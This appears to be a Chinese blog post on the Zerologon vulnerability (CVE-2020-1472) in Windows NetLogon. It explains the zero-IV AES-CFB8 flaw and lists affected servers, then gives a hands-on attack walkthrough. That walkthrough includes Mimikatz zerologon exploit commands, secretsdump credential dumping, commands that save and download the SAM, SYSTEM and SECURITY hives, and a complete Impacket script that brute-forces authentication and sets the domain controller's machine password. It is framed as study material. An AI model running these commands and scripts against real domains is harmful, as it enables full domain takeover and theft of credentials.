• 【域渗透提权】CVE-2020-1472 NetLogon 权限提升漏洞



    声明

    本篇文章仅用于技术研究和学习,切勿利用文中提及手段非法渗透攻击,造成任何后果与本作者无关,切记!


    一、漏洞概述

    CVE-2020-1472 NetLogon 权限提升漏洞原因是未经身份认证的攻击者可通过使用NetLogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞。成功利用此漏洞的攻击者可获得域管理员访问权限。

    Netlogon 是在活动目录中比较重要的一个服务,此服务在 DC 和域成员服务器上运行,为域身份验证提供重要服务。


    二、漏洞简介

    CVE-2020-1472 是一个Windows 域控中严重的远程权限提升漏洞。它是因为微软在Netlogon 协议中没有正确使用加密算法而导致的漏洞。由于微软在进行 AES 加密运算过程中,使用了 AES-CFB8 模式并且错误的将 IV 设置为全零,这使得攻击者在明文(client challenge)、IV 等要素可控的情况下,存在较高概率使得产生的密文为全零。


    三、影响范围

    • Windows Server 2008 R2 for x64 -based Systems Service Pack 1

    • Windows Server 2008 R2 for x64 -based Systems Service Pack 1 (Server Core installation)

    • Windows Server 2012

    • Windows Server 2012 (Server Core installation)

    • Windows Server 2012 R2

    • Windows Server 2012 R2 (Server Core installation)

    • Windows Server 2016

    • Windows Server 2016 (Server Core installation)

    • Windows Server 2019

    • Windows Server 2019 (Server Core installation)

    • Windows Server, version 1903 (Server Core installation)

    • Windows Server, version 1909 (Server Core installation)

    • Windows Server, version 2004 (Server Core installation)

    四、漏洞原理

    Netlogon 协议是微软提供的一套域访问认证协议,不同于大部分rpc 服务,该协议使用的并不是典型的微软认证方式如 NTLM\Kerberos,该协议的通信流程如下:
    在这里插入图片描述
    如上图中攻击者可控的因素有 client challenge,攻击者将它设置为全 0, server challenge 在每一轮认证过程中都会变化,secret 对应于用户密码的hash,Encrypt 的过程采用的是AES-CFB8,其运算过程如下:
    在这里插入图片描述
    如上图中,黄色部分内容即为IV,微软错误的将其设置为全 0,而实际上为了保证AES 算法的可靠性该部分内容应该随机生成,黄色部分后紧接着的蓝色部分为明文,对应于 client challenge,该部分内容攻击者可控,设置为全 0, AES 使用的 key 是将 secret、challenges 进行运算后得到的值,也就是说, key 会随着每一轮server challenge 的变化发生变化,那么如果IV 和 client challenge 为全 0 的话,那么整个AES 运算过程变成如下图所示:
    在这里插入图片描述
    如上图所示,在第一轮 AES 运算过程中,密文(黑色部分)第一个字节为 0 的概率是 1/256,这是因为一个字节有 8 位,全为 0 的概率是1/256,那么由这运算得到的密文第一个字节 0x0 和 IV 以及后面全 0 的client challenge 计算后得到的新一轮”明文”依旧为全 0,同样进行 AES 运算,由于第二轮运算时明文 密钥和第一轮都一致,那么这一轮所产生的密文第一个字节也同样时 0,接下来几轮计算原理以此类推,所以每一次连接都是由 1/256 的概率产生一个全 0 的密文,最理想的情况即是256 次就一定能完成碰撞。因此 Client challenge 设置全 0 后,客户端凭据(8 字节)通过验证的概率就从 1/2^64 提高到了 1/256。

    通过上述碰撞方法,攻击者便完成了域身份认证,在接下来的攻击过程用类似的方法也 bypass 了对 call 的校验,最后通过相关调用完成对域控密码的修改。值得注意的是由于整个碰撞过程中 session key 一直是未知的,攻击者可以通过 NetrServerAuthenticate3 设置合适的 flag 使得剩下的通信过程不使用 session key 进行加密。

    一言以蔽之,Netlogon 协议身份认证采用了挑战-响应机制,其中加密算法是 AES-CFB8,并且 IV 默认全零,导致了该漏洞产生。又因为认证次数没做限制,签名功能客户端默认可选,使得漏洞顺利被利用。

    五、实战攻击测试

    POC/EXP攻击、Impacket工具包

    脚本地址:https://github.com/SecuraBV/CVE-2020-1472

    POC 检测域控是否存在该漏洞
    在这里插入图片描述

    查询域控的机器用户哈希
    在这里插入图片描述

    执行攻击脚本将域控的机器账号哈希置为空
    在这里插入图片描述

    再次查看一下域控的机器用户哈希,可以看到已经为空了。
    在这里插入图片描述
    在这里插入图片描述

    使用机器账号,哈希为空连接,导出administrator 用户的哈希
    在这里插入图片描述

    然后使用administrator 用户的哈希连接域控
    在这里插入图片描述

    使用 Mimikatz 进行攻击测试

    如果当前主机在域环境中,则target 这里可以直接使用FQDN
    lsadump::zerologon /target:WIN******.yukong.com /ntlm /null /account:WIN******$ /exploit

    如果当前主机不在域环境中,则target 这里可以直接指定 ip
    lsadump::zerologon /target:域控ip /ntlm /null /account:WIN-******$ /exploit

    如下图就是一个在域环境内和不在域环境内的测试截图

    在这里插入图片描述

    六、恢复用户哈希

    恢复域控的机器用户哈希

    获得域控机器账号原始哈希

    在这里插入图片描述

    将文件进行保存
    reg save HKLM\SYSTEM system.save
    reg save HKLM\SAM sam.save
    reg save HKLM\SECURITY security.save

    将文件下载到本地
    lget system.save
    lget sam.save
    lget security.save

    将文件删除
    del /f system.save
    del /f sam.save
    del /f security.save

    在这里插入图片描述
    在这里插入图片描述

    保存红色圈中的密码,这个就是过去的机器密码,也就是

    aad3b435b51404eeaad3b435b51404ee:db164eba92deea12ac1ece6e04a510a6

    恢复域控原始哈希

    脚本reinstall_original_pw.py

    #!/usr/bin/env python3
    
    from impacket.dcerpc.v5 import nrpc, epm
    from impacket.dcerpc.v5.dtypes import NULL
    from impacket.dcerpc.v5 import transport
    from impacket import crypto
    from impacket.dcerpc.v5.ndr import NDRCALL
    import impacket
    
    import hmac, hashlib, struct, sys, socket, time
    from binascii import hexlify, unhexlify
    from subprocess import check_call
    from Cryptodome.Cipher import DES, AES, ARC4
    from struct import pack, unpack
    
    # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
    MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
    
    
    class NetrServerPasswordSet(nrpc.NDRCALL):
        opnum = 6
        structure = (
            ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
            ('AccountName',nrpc.WSTR),
            ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
            ('ComputerName',nrpc.WSTR),
            ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
            ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )
    
    class NetrServerPasswordSetResponse(nrpc.NDRCALL):
        structure = (
            ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
            ('ErrorCode',nrpc.NTSTATUS),
        )
    
    def fail(msg):
      print(msg, file=sys.stderr)
      print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
      sys.exit(2)
    
    def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
      # Connect to the DC's Netlogon service.
      binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
      rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
      rpc_con.connect()
      rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
    
      plaintext = b'\x00'*8
      ciphertext = b'\x00'*8
      flags = 0x212fffff
    
      # Send challenge and authentication request.
      serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
      serverChallenge = serverChallengeResp['ServerChallenge']
      try:
        server_auth = nrpc.hNetrServerAuthenticate3(
          rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
          target_computer + '\x00', ciphertext, flags
        )
    
    
        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
        print("session key", sessionKey)
    
        try:
          IV=b'\x00'*16
          #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
          #serverCred = Crypt1.encrypt(serverChallenge)
          #print("server cred", serverCred)
          #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
          #clientCred = clientCrypt.encrypt(b'\x00'*8)
          #print("client cred", clientCred)
          #timestamp_var = 10
          #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
          #print("client stored cred", clientStoredCred)
          authenticator = nrpc.NETLOGON_AUTHENTICATOR()
          #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
          #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
          #print("authenticator cred", authenticatorCred)
          authenticator['Credential'] = ciphertext #authenticatorCred
          authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var
          #request = nrpc.NetrLogonGetCapabilities()
          #request['ServerName'] = '\x00'*20
          #request['ComputerName'] = target_computer + '\x00'
          #request['Authenticator'] = authenticator
          #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
          #request['ReturnAuthenticator']['Timestamp'] = 0 
          #request['QueryLevel'] = 1
          #resp = rpc_con.request(request)
          #resp.dump()
    
          nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
          nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
    
          request = NetrServerPasswordSet()
          request['PrimaryName'] = NULL
          request['AccountName'] = target_computer + '$\x00'
          request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
          request['ComputerName'] = target_computer + '\x00'
          request["Authenticator"] = authenticator
          #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
          #request['ReturnAuthenticator']['Timestamp'] = 0
          pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw), sessionKey)
          request["UasNewPassword"] = pwdata
          resp = rpc_con.request(request)
          resp.dump()
    
          #request['PrimaryName'] = NULL
          #request['ComputerName'] = target_computer + '\x00'
          #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
          #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
          #resp = rpc_con.request(request)
          #resp.dump()      
        except Exception as e:
          print(e)
        return rpc_con
    
      except nrpc.DCERPCSessionError as ex:
        #print(ex)
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
          return None
        else:
          fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
      except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
    
    
    def perform_attack(dc_handle, dc_ip, target_computer, originalpw):
      # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
      print('Performing authentication attempts...')
      rpc_con = None
      for attempt in range(0, MAX_ATTEMPTS):  
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw)
    
        if rpc_con == None:
          print('=', end='', flush=True)
        else:
          break
    
      if rpc_con:
        print('\nSuccess! DC machine account should be restored to it\'s original value. You might want to secretsdump again to check.')
      else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)
    
    
    if __name__ == '__main__':
      if not (4 <= len(sys.argv) <= 5):
        print('Usage: reinstall_original_pw.py <dc-name> <dc-ip> <hexlified original nthash>\n')
        print('Reinstalls a particular machine hash for the machine account on the target DC. Assumes the machine password has previously been reset to the empty string')
        print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
        sys.exit(1)
      else:
        [_, dc_name, dc_ip, originalpw] = sys.argv
    
        dc_name = dc_name.rstrip('$')
        perform_attack('\\\\' + dc_name, dc_ip, dc_name, originalpw)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164

    命令如下:

    python3 reinstall_original_pw.py WIN-AGG5T066NRG$ 192.168.1.158 db164eba92deea12ac1ece6e04a510a6

    在这里插入图片描述

    然后输入

    secretsdump.py yukong.com/administrator:Admin@123@192.168.1.158 -just-dc-user "WIN-AGG5T066NRG$"

    在这里插入图片描述
    密码恢复成功!!!

    七、漏洞深层剖析

    可参考链接: https://mp.weixin.qq.com/s/CBMchx7hLO8YovcEnWM2IQ

  • 相关阅读:
    【Python合集系列】也许每个人的童年里都有过这样一个梦:“书桌会被推开钻出来一个哆啦A梦”。(源码合集)
    应用链如何成为 Web3 的“潜力链”?
    stm32之dma
    基础复习——项目:购物车
    软考-系统集成项目管理中级--信息(文档)和配置管理
    xss跨站脚本(cross-site scripting)
    ElasticSearch 04 -- 进阶
    ThreadPool实现机制
    SDUT 2022 summer team contest 6th(for 21)
    MySQL不常用查询
  • 原文地址:https://blog.csdn.net/weixin_46944519/article/details/125435704